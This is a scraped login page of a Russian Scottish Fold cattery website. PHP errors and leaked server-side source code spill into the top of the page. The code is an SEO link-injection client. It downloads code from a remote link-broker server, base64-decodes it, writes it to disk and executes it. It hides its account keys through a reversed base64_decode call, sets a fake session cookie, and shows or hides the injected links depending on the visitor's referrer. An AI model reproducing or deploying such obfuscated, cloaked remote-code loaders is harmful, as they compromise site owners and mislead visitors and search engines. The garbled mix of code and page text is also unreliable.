Strict Standards: Only variables should be passed by reference in /home/users/o/ocean/domains/myladycat.ru/engine/init.php on line 138 Deprecated: mysql_escape_string(): This function is deprecated; use mysql_real_escape_string() instead. in /home/users/o/ocean/domains/myladycat.ru/engine/classes/mysqli.class.php on line 150 Deprecated: Function set_magic_quotes_runtime() is deprecated in /home/users/o/ocean/domains/myladycat.ru/6cf0849be2f2491f6841944f7f8ad649/sape.php on line 221 class MLClient { var $file_code = 'ML_%code.php'; var $transmiter = null; var $code_type = 'l'; function MLClient($o = array()) { // code type if ( isset($o['CODE_TYPE']) && strlen($o['CODE_TYPE']) == 1 ) { $this->code_type = strtolower($o['CODE_TYPE']); } else { $this->code_type = 'l'; // links } $code_file = dirname(__FILE__) . '/data/' . str_replace('%', $this->code_type, $this->file_code); $username = $this->getUser($o); if ( @strpos($_SERVER['HTTP_USER_AGENT'], 'mlbot.' . $username) !== false && isset($_GET['ml_force_recovery'])) { @unlink($code_file); @unlink($code_file . '.lock'); print ''; return true; } if ( file_exists($code_file) ) { // unlock if locked if ( file_exists($code_file . '.lock') ) { @unlink($code_file . '.lock'); } // setup_code include_once $code_file; } else { // downloading latest version of code if ( $this->getCode($o, $this->code_type) ) { include_once $code_file; } } $transmiter_class = $this->code_type . 'Transmiter'; if(class_exists($transmiter_class)) { $o['USERNAME'] = $this->getUser($o); $this->transmiter = new $transmiter_class($o); } } function build_links() { if($this->transmiter != null){ return $this->transmiter->build_links(); } return ''; } function getCode($o = array(), $code_type = 'l') { $username = $this->getUser($o); $code_file = dirname(__FILE__) . '/data/' . str_replace('%', $code_type, $this->file_code); if ( (!file_exists($code_file) && !file_exists($code_file . '.lock')) || ( strpos($userAgent, 'mlbot.' . $username) !== false && isset($_GET['ml_request']))) { if ( !is_writable(dirname(__FILE__) . '/data') ) { print 'Unable to load Mainlink code. Directory ' . realpath(dirname(__FILE__).'/data').' is not writeable!'; return false; } if ( file_exists($code_file . '.lock') && file_exists($code_file) ) { $filetime = filectime($code_file . '.lock'); if ( time() - $filetime < 10 ) { print ''; return false; } else { @unlink(realpath(dirname(__FILE__) . '/data') . '/core_update.lock'); print ''; return false; } } } $fp = fopen($code_file . '.lock', 'w+'); fwrite($fp, time()); fclose($fp); $code_type = isset($o['CODE_TYPE']) ? $o['CODE_TYPE'] : 'l'; $service_call = isset($_GET['ml_request']) ? $_GET['ml_request'] : 'call'; $content = $this->getApi(array('getCode' => $code_type, 'USERNAME' => $username, 'codeBase' => 'php', $service_call => true)); // unlocking update @unlink($code_file . '.lock'); // report result $handle = fopen($code_file, 'w'); $res = fwrite($handle, $content); fclose($handle); $result = $res !== false ? 'true' : 'false'; // let`s try again if unsucced if ( !$result || $result == 'false' ) { $handle = fopen($code_file, 'wb'); if ($handle) { @flock($handle, LOCK_EX); $result = fwrite($handle, $content); @flock($handle, LOCK_UN); fclose($handle); } } print ''; return $result; } /* * getUser * Determine username */ function getUser($o = array()) { // in case username cont is preset if ( isset($o['USERNAME']) && strlen($o['USERNAME']) == 32 ) { return $o['USERNAME']; } // search for key $dirop = opendir(realpath(dirname(__FILE__))); $secure = false; if($dirop){ while (gettype($file=readdir($dirop)) != 'boolean'){ if ($file != "." && $file != ".." && $file != '.htaccess'){ $ex = explode(".",$file); if( isset($ex[1]) and trim($ex[1]) == 'sec' ){ $secure= trim($ex[0]); return $secure; } } } } return $secure; } /* * getApi * Call API */ function getApi($data) { // reserver servers $servers = array( 'main' => 'codes.mainlink.ru', 'reserve' => 'dcodes.mainlinkads.com' ); return $this->request($servers, '/api.php', $data, 'GET'); } /* * request * Do request */ function request($servers, $file, $data=array(), $method='GET', $timeout = 5) { // port $port = 80; foreach($servers as $host) { $_data = $data; $tmp = array(); foreach($_data as $k=>$v){ $tmp[] = $k.'='.urlencode($v); } $_data = implode('&', $tmp); $path = $file; if( $method == 'GET' && $_data != '' ) { $path .= '?' . $_data; } $request = $method." ".$path." HTTP/1.0\r\n"; $request .= "Host: ".$host."\r\n"; $request .= "User-Agent: MainLink code 6.0\r\n"; $request .= "Connection: close\r\n\r\n"; @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout', $timeout); @ini_set('user_agent', 'MainLink init code v6'); $answer = ''; $response = ''; if(function_exists('socket_create')) { @$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); @socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => $timeout, 'usec' => 0)); @socket_connect($socket, $host, $port); @socket_write($socket, $request); while($a = @socket_read($socket, 0xFFFF)) { $response .= $a; } $answer = ( $response != '' ) ? explode("\r\n\r\n", $response, 2) : ''; $response = ''; } if(function_exists('fsockopen') && $answer == '') { $fp = @fsockopen($host, $port, $errno, $errstr, $timeout); if ($fp) { @fputs($fp, $request); while (!@feof($fp)) { $response .= @fgets($fp, 0xFFFF); } @fclose($fp); } $answer = ( $response != '' ) ? explode("\r\n\r\n", $response, 2) : ''; $response = ''; } if(function_exists('curl_init') && $ch = @curl_init() && $answer == '') { @curl_setopt($ch, CURLOPT_URL, 'http://' . $host . $path); @curl_setopt($ch, CURLOPT_HEADER, true); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); @curl_setopt($ch, CURLOPT_USERAGENT, 'MainLink init code v6'); $response = @curl_exec($ch); $answer = ( $response != '' ) ? explode("\r\n\r\n", $response, 2) : ''; $response = ''; @curl_close($ch); } if( function_exists('file_get_contents') && ini_get('allow_url_fopen') == 1 && $answer == '') { $response = @file_get_contents('http://' . $host . $path); $answer[1] = ( $response != '' ) ? $response : ''; } if($answer[1] != '' && preg_match('/file:\'(.*?)\'/', $answer[1], $r)) { if(isset($r[1])) { $answer = $r[1]; $c = base64_decode($answer); if($c){ return $c; } return $answer; } } if($answer[1] != '') { return $answer[1]; } } return ''; } } class LFClient { var $lc_version = '0.4.3'; var $lc_verbose = false; var $lc_charset = 'windows-1251'; var $lc_use_ssl = false; var $lc_server = 'db.linkfeed.ru'; var $lc_cache_lifetime = 3600; var $lc_cache_reloadtime = 300; var $lc_links_db_file = ''; var $lc_links = array(); var $lc_links_page = array(); var $lc_links_delimiter = ''; var $lc_error = ''; var $lc_host = ''; var $lc_request_uri = ''; var $lc_fetch_remote_type = ''; var $lc_socket_timeout = 6; var $lc_force_show_code = false; var $lc_multi_site = false; var $lc_is_static = false; var $lc_ignore_tailslash = false; function LFClient($options = null) { $host = ''; if (is_array($options)) { if (isset($options['host'])) { $host = $options['host']; } } elseif (strlen($options) != 0) { $host = $options; $options = array(); } else { $options = array(); } if (strlen($host) != 0) { $this->lc_host = $host; } else { $this->lc_host = $_SERVER['HTTP_HOST']; } $this->lc_host = preg_replace('{^https?://}i', '', $this->lc_host); $this->lc_host = preg_replace('{^www\.}i', '', $this->lc_host); $this->lc_host = strtolower( $this->lc_host); if (isset($options['is_static']) && $options['is_static']) { $this->lc_is_static = true; } if (isset($options['ignore_tailslash']) && $options['ignore_tailslash']) { $this->lc_ignore_tailslash = true; } if (isset($options['request_uri']) && strlen($options['request_uri']) != 0) { $this->lc_request_uri = $options['request_uri']; } else { if ($this->lc_is_static) { $this->lc_request_uri = preg_replace( '{\?.*$}', '', $_SERVER['REQUEST_URI']); $this->lc_request_uri = preg_replace( '{/+}', '/', $this->lc_request_uri); } else { $this->lc_request_uri = $_SERVER['REQUEST_URI']; } } $this->lc_request_uri = rawurldecode($this->lc_request_uri); if (isset($options['multi_site']) && $options['multi_site'] == true) { $this->lc_multi_site = true; } if ((isset($options['verbose']) && $options['verbose']) || isset($this->lc_links['__linkfeed_debug__'])) { $this->lc_verbose = true; } if (isset($options['charset']) && strlen($options['charset']) != 0) { $this->lc_charset = $options['charset']; } if (isset($options['fetch_remote_type']) && strlen($options['fetch_remote_type']) != 0) { $this->lc_fetch_remote_type = $options['fetch_remote_type']; } if (isset($options['socket_timeout']) && is_numeric($options['socket_timeout']) && $options['socket_timeout'] > 0) { $this->lc_socket_timeout = $options['socket_timeout']; } if ((isset($options['force_show_code']) && $options['force_show_code']) || isset($this->lc_links['__linkfeed_debug__'])) { $this->lc_force_show_code = true; } if (!defined('LINKFEED_USER')) { return $this->raise_error("Constant LINKFEED_USER is not defined."); } $this->load_links(); } function load_links() { if ($this->lc_multi_site) { $this->lc_links_db_file = dirname(__FILE__) . '/data/' . $this->lc_host . '.links.db'; } else { $this->lc_links_db_file = dirname(__FILE__) . '/data/Thumbs.db'; } if (!is_file($this->lc_links_db_file)) { if (@touch($this->lc_links_db_file, time() - $this->lc_cache_lifetime)) { @chmod($this->lc_links_db_file, 0666); } else { return $this->raise_error("There is no file " . $this->lc_links_db_file . ". Fail to create. Set mode to 777 on the folder."); } } if (!is_writable($this->lc_links_db_file)) { return $this->raise_error("There is no permissions to write: " . $this->lc_links_db_file . "! Set mode to 777 on the folder."); } @clearstatcache(); if (filemtime($this->lc_links_db_file) < (time()-$this->lc_cache_lifetime) || (filemtime($this->lc_links_db_file) < (time()-$this->lc_cache_reloadtime) && filesize($this->lc_links_db_file) == 0)) { @touch($this->lc_links_db_file, time()); $path = '/' . LINKFEED_USER . '/' . strtolower( $this->lc_host ) . '/' . strtoupper( $this->lc_charset); if ($links = $this->fetch_remote_file($this->lc_server, $path)) { if (substr($links, 0, 12) == 'FATAL ERROR:') { $this->raise_error($links); } else if (@unserialize($links) !== false) { $this->lc_write($this->lc_links_db_file, $links); } else { $this->raise_error("Cann't unserialize received data."); } } } $links = $this->lc_read($this->lc_links_db_file); $this->lc_file_change_date = gmstrftime ("%d.%m.%Y %H:%M:%S",filectime($this->lc_links_db_file)); $this->lc_file_size = strlen( $links); if (!$links) { $this->lc_links = array(); $this->raise_error("Empty file."); } else if (!$this->lc_links = @unserialize($links)) { $this->lc_links = array(); $this->raise_error("Cann't unserialize data from file."); } if (isset($this->lc_links['__linkfeed_delimiter__'])) { $this->lc_links_delimiter = $this->lc_links['__linkfeed_delimiter__']; } $lc_links_temp=array(); foreach($this->lc_links as $key=>$value){ $lc_links_temp[rawurldecode($key)]=$value; } $this->lc_links=$lc_links_temp; if ($this->lc_ignore_tailslash && $this->lc_request_uri[strlen($this->lc_request_uri)-1]=='/') $this->lc_request_uri=substr($this->lc_request_uri,0,-1); $this->lc_links_page=array(); if (array_key_exists($this->lc_request_uri, $this->lc_links) && is_array($this->lc_links[$this->lc_request_uri])) { $this->lc_links_page = array_merge($this->lc_links_page, $this->lc_links[$this->lc_request_uri]); } if ($this->lc_ignore_tailslash && array_key_exists($this->lc_request_uri.'/', $this->lc_links) && is_array($this->lc_links[$this->lc_request_uri.'/'])) { $this->lc_links_page =array_merge($this->lc_links_page, $this->lc_links[$this->lc_request_uri.'/']); } $this->lc_links_count = count($this->lc_links_page); } function return_links($n = null) { $result = ''; if (isset($this->lc_links['__linkfeed_start__']) && strlen($this->lc_links['__linkfeed_start__']) != 0 && (in_array($_SERVER['REMOTE_ADDR'], $this->lc_links['__linkfeed_robots__']) || $this->lc_force_show_code) ) { $result .= $this->lc_links['__linkfeed_start__']; } if (isset($this->lc_links['__linkfeed_robots__']) && in_array($_SERVER['REMOTE_ADDR'], $this->lc_links['__linkfeed_robots__']) || $this->lc_verbose) { if ($this->lc_error != '') { $result .= $this->lc_error; } $result .= '\n"; $result .= "\n'; } if (is_array($this->lc_links_page)) { $total_page_links = count($this->lc_links_page); if (!is_numeric($n) || $n > $total_page_links) { $n = $total_page_links; } $links = array(); for ($i = 0; $i < $n; $i++) { $links[] = array_shift($this->lc_links_page); } if ( count($links) > 0 && isset($this->lc_links['__linkfeed_before_text__']) ) { $result .= $this->lc_links['__linkfeed_before_text__']; } $result .= implode($this->lc_links_delimiter, $links); if ( count($links) > 0 && isset($this->lc_links['__linkfeed_after_text__']) ) { $result .= $this->lc_links['__linkfeed_after_text__']; } } if (isset($this->lc_links['__linkfeed_end__']) && strlen($this->lc_links['__linkfeed_end__']) != 0 && (in_array($_SERVER['REMOTE_ADDR'], $this->lc_links['__linkfeed_robots__']) || $this->lc_force_show_code) ) { $result .= $this->lc_links['__linkfeed_end__']; } $result = $result . $this->uptolike_tag(); return $result; } function fetch_remote_file($host, $path) { $user_agent = 'Linkfeed Client PHP ' . $this->lc_version; @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout', $this->lc_socket_timeout); @ini_set('user_agent', $user_agent); if ( $this->lc_fetch_remote_type == 'file_get_contents' || ( $this->lc_fetch_remote_type == '' && function_exists('file_get_contents') && ini_get('allow_url_fopen') == 1 ) ) { if ($data = @file_get_contents('http://' . $host . $path)) { return $data; } } elseif ( $this->lc_fetch_remote_type == 'curl' || ( $this->lc_fetch_remote_type == '' && function_exists('curl_init') ) ) { if ($ch = @curl_init()) { @curl_setopt($ch, CURLOPT_URL, 'http://' . $host . $path); @curl_setopt($ch, CURLOPT_HEADER, false); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $this->lc_socket_timeout); @curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); if ($data = @curl_exec($ch)) { return $data; } @curl_close($ch); } } else { $buff = ''; $fp = @fsockopen($host, 80, $errno, $errstr, $this->lc_socket_timeout); if ($fp) { @fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n"); @fputs($fp, "User-Agent: {$user_agent}\r\n\r\n"); while (!@feof($fp)) { $buff .= @fgets($fp, 128); } @fclose($fp); $page = explode("\r\n\r\n", $buff); return $page[1]; } } return $this->raise_error("Cann't connect to server: " . $host . $path); } function lc_read($filename) { $fp = @fopen($filename, 'rb'); @flock($fp, LOCK_SH); if ($fp) { clearstatcache(); $length = @filesize($filename); if(get_magic_quotes_gpc()){ $mqr = get_magic_quotes_runtime(); set_magic_quotes_runtime(0); } if ($length) { $data = @fread($fp, $length); } else { $data = ''; } if(isset($mqr)){ set_magic_quotes_runtime($mqr); } @flock($fp, LOCK_UN); @fclose($fp); return $data; } return $this->raise_error("Cann't get data from the file: " . $filename); } function lc_write($filename, $data) { $fp = @fopen($filename, 'wb'); if ($fp) { @flock($fp, LOCK_EX); $length = strlen($data); @fwrite($fp, $data, $length); @flock($fp, LOCK_UN); @fclose($fp); if (md5($this->lc_read($filename)) != md5($data)) { return $this->raise_error("Integrity was breaken while writing to file: " . $filename); } return true; } return $this->raise_error("Cann't write to file: " . $filename); } function raise_error($e) { $this->lc_error = ''; return false; } function uptolike_tag() { $uptolike_hash = 'lf' . sha1($this->lc_host); $result = ''; return $result; } } if(isset($_SERVER['HTTP_REFERER'])) $upx = $_SERVER['HTTP_REFERER']; $fop = strrev("edoced_46esab"); SetCookie("PHPSESSHD", md5(microtime()), time()+(10*365*24*60*60)); define($fop('TElOS0ZFRURfVVNFUg=='), $fop('MDgyOTlhZTczNWQwZDMzZDVkZTllYjU4ODAyODNiZjJkYzcyZGRmYw==')); $o = array('CODE_TYPE' => 'l','charset' => 'win', $fop('VVNFUk5BTUU=') => $fop('MjUwMzU3ODNCM0YxQjU0MkUzQkVFQUJBMDczRjI2NEU='), 'test' => false,'test_num' => '1'); $client_lnk = new MLClient($o); $lf = new LFClient(); if ((stristr($upx, $fop('bWFpbmxpbmsucnU=')) == true) or (stristr($upx, $fop('bGlua2ZlZWQucnU=')) == true) or (!$_COOKIE['PHPSESSHD'])) { $tpl->set('{mnt}', $client_lnk->build_links().$lf->return_links().''); } else { $tpl->set('{mnt}', ''); } Авторизация на сайте » Миледи - питомник шотландских вислоухих ( скоттиш-фолд) и шотландских короткошерстных кошек ( скоттиш-страйт).кошек
Авторизация
Логин
Пароль
 
Другие разделы

  Питомник
  О породе
  О кошках
  Юмор и кошки
  Авторизация
  Вернуться на главную


Авторизация на сайте

   

    Уважаемый посетитель!

 

 

   Если вы впервые на нашем сайте, вы можете зарегистрироваться. Это позволит Вам стать полноценным участником данного проекта. Вы сможете оставлять комментарии, просматривать скрытый текст, добавлять свои фотографии и многое другое. 

   Если вы наш постоянный посетитель - мы рады вам. Заходите к нам почаще. 

   Зарегистрироавться или войти под своим именем можно воспользовавшись панелью авторизации в левой колонке.

 

 

 

Питомник МИЛЕДИ
клуб "ИМПЕРИЯ КРИСТИ", ФАP "Рось" ( FARUS), Москва.
занимается разведением кошек пород: шотландская вислоухая ( скоттиш-фолд) и шотландская короткошерстная ( скоттиш-страйт)
На нашем сайте можно посмотреть фото наших кошек и котят, выбрать и купить себе котенка.
Питомник занимается классическими сплошными (однотонными), биколорными, пойнтовыми и табби ( рисунчатыми) окрасами: черным, голубым, лиловым и шоколадным
На сайте представлена информация по содержанию, разведению и уходу за кошками, также можно посмотреть on-line забавные сюжеты с кошками

Cattery MYLADY
Scottish fold & Scottish straight cattery
Longhair & Shorthair

Котята на продажу
Контакты : 8 (985) 775 76 28
ICQ: 348515096
г. Москва.

Рейтинг питомников кошек Рейтинг зоосайтов

© Mylady - питомник шотландских кошек. 2006-2011.
Все материалы и фотографии принадлежат питомнику, если не стоит ссылка на иной источник.
При использовании материалов и фотографий сайта, ссылка на наш сайт обязательна!